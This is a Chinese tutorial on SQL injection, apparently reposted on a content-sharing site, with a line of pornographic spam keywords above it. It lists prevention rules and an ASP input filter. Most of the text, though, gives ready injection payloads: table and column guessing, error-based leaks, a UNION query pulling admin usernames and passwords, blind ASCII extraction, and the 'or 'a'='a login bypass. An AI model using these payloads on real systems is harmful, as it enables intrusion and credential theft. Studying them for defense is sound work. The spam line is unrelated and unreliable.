国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
sql 注入
sql注入 簡介  所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務(wù)器執(zhí)行惡意的SQL命令,比如先前的很多影視網(wǎng)站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊. 什么時候最易受到sql注入攻擊  當(dāng)應(yīng)用程序使用輸入內(nèi)容來構(gòu)造動態(tài)sql語句以訪問數(shù)據(jù)庫時,會發(fā)生sql注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的用戶輸入的字符串來傳遞,也會發(fā)生sql注入。sql注入可能導(dǎo)致攻擊者使用應(yīng)用程序登陸在數(shù)據(jù)庫中執(zhí)行命令。如果應(yīng)用程序使用特權(quán)過高的帳戶連接到數(shù)據(jù)庫,這種問題會變得很嚴重。在某些表單中,用戶輸入的內(nèi)容直接用來構(gòu)造動態(tài)sql命令,或者作為存儲過程的輸入?yún)?shù),這些表單特別容易受到sql注入的攻擊。而許多網(wǎng)站程序在編寫時,沒有對用戶輸入的合法性進行判斷或者程序中本身的變量處理不當(dāng),使應(yīng)用程序存在安全隱患。這樣,用戶就可以提交一段數(shù)據(jù)庫查詢的代碼,根據(jù)程序返回的結(jié)果,獲得一些敏感的信息或者控制整個服務(wù)器,于是sql注入就發(fā)生了。 如何防止SQL注入  歸納一下,主要有以下幾點:
  1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和
  雙"-"進行轉(zhuǎn)換等。
  2.永遠不要使用動態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲過程進行數(shù)據(jù)查詢存取。
  3.永遠不要使用管理員權(quán)限的數(shù)據(jù)庫連接,為每個應(yīng)用使用單獨的權(quán)限有限的數(shù)據(jù)庫連接。
  4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
  5.應(yīng)用的異常信息應(yīng)該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
 
注入大致方法: 方法1  先猜表名
  And (Select count(*) from 表名)<>0
  猜列名
  And (Select count(列名) from 表名)<>0
  或者也可以這樣
  and exists (select * from 表名)
  and exists (select 列名 from 表名)
  返回正確的,那么寫的表名或列名就是正確
  這里要注意的是,exists這個不能應(yīng)用于猜內(nèi)容上,例如and exists (select len(user) from admin)>3 這樣是不行的
  現(xiàn)在很多人都是喜歡查詢里面的內(nèi)容,一旦iis沒有關(guān)閉錯誤提示的,那么就可以利用報錯方法輕松獲得庫里面的內(nèi)容
  獲得數(shù)據(jù)庫連接用戶名:;and user>0
  這個是小竹提出來的,我這里引用《SQL注入天書》里面的一段話來講解:
 ?。?
  "重點在and user>0,我們知道,user是SQLServer的一個內(nèi)置變量,它的值是當(dāng)前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數(shù)0比較,系統(tǒng)會先試圖將nvarchar的值轉(zhuǎn)成int型,當(dāng)然,轉(zhuǎn)的過程中肯定會出錯,SQLServer的出錯提示是:將nvarch"
  -----------------------------------------------------------------------------------------------------------
  看到這里大家明白了吧,報錯的原理就是利用SQLserver內(nèi)置的系統(tǒng)表進行轉(zhuǎn)換查詢,轉(zhuǎn)換過程會出錯,然后就會顯示出在網(wǎng)頁上,另外還有類似的and 1=(selet top 1 user from admin),這種語句也是可以爆出來的。;and db_name()>0 則是暴數(shù)據(jù)庫名。
  一旦關(guān)閉了IIS報錯,那么還可以用union(聯(lián)合查詢)來查內(nèi)容,主要語句就是
  Order by 10
  And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
  And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
  上面的order by 10主要就是查字段數(shù)目,admin就是表名,可以自己猜,user,passwd是列名
  反正就是返回正確即對,返回異常即錯
  另外還有十分常用的ascll碼拆半法
  先要知道指定列名,例如user里的內(nèi)容的長度
  and (select len(user) from admin)=2 就是查詢長度為不為2位,返回錯誤的增加或減少數(shù)字,一般這個數(shù)字不會太大,太大的就要放棄了,猜也多余
  后面的邏輯符號可以根據(jù)不同要求更改的,
  >大于 <小于 =就是等于咯,更新語句的話,=也可以表示傳遞符號 <>就是不等
  知道了長度后就可以開始猜解了
  And (Select top 1 asc(mid(user,n,1)) from admin)>100
  n就是猜解的表名的第幾位,最后的長度數(shù)字就是剛才猜解出來的列名長度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里內(nèi)容的第一位的ASCLL字符是不是大于100
  正確的話,那么表示USER第一個字符的ASCLL碼大于100,那么就猜>120,返回錯誤就是介于100-120之間,然后再一步一步的縮少,最終得到正確字符XXX,然后用ASCLL轉(zhuǎn)換器吧這個轉(zhuǎn)換成普通字符就可以了
  然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去
  加在url后面,列名表名還是先猜解,返回正確的代表賬號的ascll碼大于100,那么就再向前猜,指導(dǎo)報錯,把猜出來的ascll碼拿去ascll轉(zhuǎn)換器轉(zhuǎn)換就可以了,中文是負數(shù),加上asb取絕對值
  And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320
  得到之后就記得在數(shù)字前加-號,不然ASCLL轉(zhuǎn)換器轉(zhuǎn)換不來的,中文在ASCLL碼里是-23423這樣的,所以猜起來挺麻煩
  這個猜解速度比較慢,但是效果最好,最具有廣泛性 方法2  后臺身份驗證繞過漏洞
  驗證繞過漏洞就是'or'='or'后臺繞過漏洞,利用的就是AND和OR的運算規(guī)則,從而造成后臺腳本邏輯性錯誤
  例如管理員的賬號密碼都是admin,那么再比如后臺的數(shù)據(jù)庫查詢語句是
  user=request("user")
  passwd=request("passwd")
  sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
  那么我使用'or 'a'='a來做用戶名密碼的話,那么查詢就變成了
  select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
  這樣的話,根據(jù)運算規(guī)則,這里一共有4個查詢語句,那么查詢結(jié)果就是 假or真and假or真,先算and 再算or,最終結(jié)果為真,這樣就可以進到后臺了
  這種漏洞存在必須要有2個條件,第一個:在后臺驗證代碼上,賬號密碼的查詢是要同一條查詢語句,也就是類似
  sql="select * from admin where username='"&username&'&"passwd='"&passwd&'
  如果一旦賬號密碼是分開查詢的,先查賬號,再查密碼,這樣的話就沒有辦法了。
  第二就是要看密碼加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一種條件有沒有可以,沒有達到第一種條件的話,那就沒有戲了 方法3  防御方法
  對于怎么防御SQL注入呢,這個網(wǎng)上很多,我這里講幾個
  如果自己編寫防注代碼,一般是先定義一個函數(shù),再在里面寫入要過濾的關(guān)鍵詞,如select ; “”;form;等,這些關(guān)鍵詞都是查詢語句最常用的詞語,一旦過濾了,那么用戶自己構(gòu)造提交的數(shù)據(jù)就不會完整地參與數(shù)據(jù)庫的操作。
  當(dāng)然如果你的網(wǎng)站提交的數(shù)據(jù)全部都是數(shù)字的,可以使用小竹提供的方法
  Function SafeRequest(ParaName,ParaType)
  '--- 傳入?yún)?shù) ---
  'ParaName:參數(shù)名稱-字符型
  'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)
  Dim ParaValue
  ParaValue=Request(ParaName)
  If ParaType=1 then
  If not isNumeric(ParaValue) then
  Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"
  Response.end
  End if
  Else
  ParaValue=replace(ParaValue,"'","''")
  End if
  SafeRequest=ParaValue
  End function
  然后就用SafeRequest()來過濾參數(shù) ,檢查參數(shù)是否為數(shù)字,不是數(shù)字的就不能通過。 小結(jié)  SQL注入的手法相當(dāng)靈活,在注入的時候會碰到很多意外的情況。能不能根據(jù)具體情況進行分析,構(gòu)造巧妙的SQL語句,從而成功獲取想要的數(shù)據(jù),是高手與“菜鳥”的根本區(qū)別。
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊舉報。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
SQL注入攻擊
Advanced SQL Injection with MySQL
WEB常見漏洞之SQL注入(靶場篇—1)
實例講解 SQL 注入攻擊
寫給ASP.NET程序員:網(wǎng)站中的安全問題
MySQL注入--Payload
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服